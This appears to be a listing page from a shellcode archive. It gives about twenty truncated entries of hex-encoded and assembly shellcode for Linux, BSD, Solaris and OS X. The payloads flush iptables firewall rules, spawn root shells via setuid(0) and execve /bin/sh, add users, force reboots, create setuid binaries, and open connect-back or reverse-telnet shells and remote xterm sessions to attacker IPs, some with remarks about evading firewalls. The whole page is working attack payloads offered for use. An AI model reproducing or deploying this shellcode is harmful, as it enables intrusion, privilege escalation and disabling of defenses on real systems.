linux/x86 iptables -F 45 bytes

No description provided by source. / 06/03/2003 45 bytes to flush iptables. execve/sbin/iptables -F by UnboundeD greetz to s0t4ipv6. / char shellcode = "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x66\x68\x2d\x46" // pushw $0x462d "\x89\xe6" // movl %esp,%esi "\x52" // pushl %edx...

linux/x86 xterm -ut -display [IP]:0 132 bytes

No description provided by source. / Linux/x86 execve of /usr/X11R6/bin/xterm -ut -display ip:0, exit 127.0.0.1 is an example, you must change it to a useful ip making a subrutine into the exploit? - you must not delete 'K' after ip:0 - / include stdio.h char shellcode =...

linux/x86 iptables -F 58 bytes

No description provided by source. / The shellcode flushs the iptables by running /sbin/iptables -F no exit greetz to zilion: man, my code is shorter! size = 58 bytes OS = Linux i386 written by /rootteam/dev0id www.sysworld.net BITS 32 jmp short callme main: pop esi xor eax,eax mov byte esi+14,al...

linux/x86 Reverse telnet 134 bytes

No description provided by source. / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl %ebx,0x57%esi xorl %eax,%eax movb %eax,0x7%esi movb %eax,0xa%esi movb %eax,0x4e%esi movl %eax,0x5b%esi movb $0xb,%al movl...

openbsd/x86 add user w00w00 112 bytes

No description provided by source. include string.h char shell= "\xeb\x2b\x5e\x31\xc0\x88\x46\x0b" "\x88\x46\x29\x50\xb0\x09\x50\x31" "\xc0\x56\x50\xb0\x05\xcd\x80\x89" "\xc3\x6a\x1d\x8d\x46\x0c\x50\x53" "\x50\x31\xc0\xb0\x04\xcd\x80\x31" "\xc0\xb0\x01\xcd\x80\xe8\xd0\xff"...

os-x/PPC execve /bin/sh 72 bytes

No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does execve/bin/sh; exit0; See ASM below. 72 Bytes. / char shellcode = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7d\x68\x02\xa6\x3b\xeb\x01\x70" "\x39\x40\x01\x70\x39\x1f\xfe\xcf" "\x7c\xa8\x29\xae\x38\x7f\xfe\xc8"...

os-x/PPC reboot 28 bytes

No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does sync reboot; See ASM below. 28 Bytes. / char shellcode = "\x7c\x63\x1a\x79" "\x39\x40\x01\x70" "\x38\x0a\xfe\xb4" "\x44\xff\xff\x02" "\x60\x60\x60\x60" "\x38\x0a\xfe\xc7" "\x44\xff\xff\x02"; int main void asm"b...

freebsd/x86 connect 102 bytes

No description provided by source. ; Passive Connection Shellcode ; ; Coded by Scrippie - [email protected] - http://b0f.freebsd.lublin.pl ; Buffer0verfl0w Security ; Why? This evades firewalls... ; ; YES, this is for NASM, I detest AT&T syntaxis - it's gross and unreadable ; ; This is the FreeBSD...

freebsd/x86 execve /tmp/sh 34 bytes

No description provided by source. / FreeBSD shellcode - execve /tmp/sh Claes M. Nyberg 20020120 [email protected], [email protected] / / void main asm" xorl %eax, %eax eax = 0 pushl %eax string ends with NULL pushl $0x68732f2f push 'hs//' //sh pushl $0x706d742f push 'pmt/' /tmp movl %esp...

os-x/PPC setuid(0) + execve /bin/sh 88 bytes

No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does setuid0; execve/bin/sh; exit0; See ASM below. 88 Bytes. / char shellcode = "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x7d\x68\x02\xa6\x3b\xeb\x01\x70" "\x39\x40\x01\x70\x39\x1f\xfe\xdf" "\x7c\x68\x19\xae\x38\x0a\xfe\xa7...

linux/SPARC connect back 216 bytes

No description provided by source. / linux sparc connect back shellcode, because someone had to evade those firewalls. sigh / / OS : Linux Architecture : Sparc Type : Connect Back Lenght : 216 Bytes Listen-Port : 2313/TCP Default IP : 192.168.100.1 see how you'll change it at the end. null bytes...

os-x/PPC create /tmp/suid 122 bytes

No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does open; write; close; exit; See ASM below. 122 Bytes. / char shellcode = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x1f\x01\x71" "\x39\x08\xfe\xf4\x7c\xa8\x29\xae" "\x38\x7f\x01\x68\x38\x63\xfe\xf4"...

linux/x86 connect 120 bytes

No description provided by source. / Connecting shellcode written by lamagra [email protected] http://lamagra.seKure.de May 2000 .file "connect" .version "01.01" .text .align 4 start: socketAFINET,SOCKSTREAM,IPPROTOIP; movl %esp,%ebp xorl %edx,%edx movb $102,%edx movl %edx,%eax 102 = socketcall...

solaris/SPARC execve /bin/sh 52 bytes

No description provided by source. //Solaris/Sparc - LSD char shellcode= "\x20\xbf\xff\xff" / bn,a shellcode-4 / "\x20\xbf\xff\xff" / bn,a shellcode / "\x7f\xff\xff\xff" / call shellcode+4 / "\x90\x03\xe0\x20" / add %o7,32,%o0 / "\x92\x02\x20\x10" / add %o0,16,%o1 / "\xc0\x22\x20\x08" / st...

os-x/PPC execve /usr/X11R6/bin/xterm 141 bytes

No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does execve/usr/X11R6/bin/xterm -display 192.168.0.10:0 exit0; See ASM below. 141 Bytes. / char shellcode = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x5f\x01\x70" "\x39\x0a\xfe\xfc\x7c\xa8\x29\xae"...

bsd/x86 execve /bin/sh Crypt /bin/sh 49 bytes

No description provided by source. / Self decripting dec/inc shellcode executes /bin/sh Size 49 bytes OS BSD /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short shellcode main: pop esi xor ecx,ecx mov cl,28 maindecript: inc byte esi+ecx loop maindecript inc byte esi push esi...

bsd/x86 execve /bin/sh ENCRYPT* 57 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 57 bytes. -Encriptado execve/bin/sh; Para mas informacion ver http://www.shellcode.com.ar/es/proyectos.html / char shellcode= "\xeb\x1b\x5e\x31\xc0\x6a\x1a\x6a\x17\x59\x49\x5b\x8a\x04\x0e"...

bsd/x86 execve /bin/sh setuid (0) 29 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax "\xcd\x80" // int $0x80 "\x50" // push %eax...

freebsd/x86 chown 0:0 chmod 6755 & execve /tmp/sh 44 bytes

No description provided by source. / FreeBSD shellcode chown"/tmp/sh", 0, 0; chmod"/tmp/sh", 06755; 44 bytes Claes M. Nyberg 20020209 [email protected], [email protected] / / void mainvoid asm" xor %eax, %eax eax = 0 pushl %eax string ends with NULL pushl $0x68732f2f push 'hs//' //sh push...

solaris/SPARC connect-back 204 bytes

No description provided by source. / Solaris shellcode - connects /bin/sh to a host Claes M. Nyberg 20020624 [email protected], [email protected] / include string.h / void mainvoid asm" ! Create socket mov 0x2, %o0 ! o0 = AFINET mov 0x2, %o1 ! o1 = SOCKSTREAM xor %o2, %o2, %o2 ! o2 = 0 mo...